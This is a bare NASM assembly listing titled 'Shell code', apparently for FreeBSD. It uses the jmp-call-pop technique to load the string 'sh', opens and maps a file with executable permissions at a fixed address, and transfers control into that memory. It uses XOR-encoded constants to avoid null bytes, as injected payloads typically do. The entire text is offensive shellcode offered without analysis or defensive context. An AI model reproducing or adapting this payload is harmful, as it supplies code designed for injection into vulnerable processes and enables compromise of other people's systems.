Shell code

%include "system.inc"
DATASEG
CODESEG
START:
jmps trik
open:
pop 	ebx
mov 	ebp,ebx
xor 	al,al
mov 	byte [ebx+2],al
sys_open EMPTY,O_RDWR
mov 	ebx,0x7F7CF878
xor 	ebx,0x78787878
mov 	ecx,0x8988d1eb
xor 	ecx,0x89898989
sys_mmap EMPTY,EMPTY,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_PRIVATE|MAP_FIXED,eax,0
add 	eax,076
xor 	ebx,ebx
push 	ebx
push 	ebx
push 	ebp
inc 	ebx
push 	ebx
push 	eax
ret
trik:
call open
co db "sh",0   
END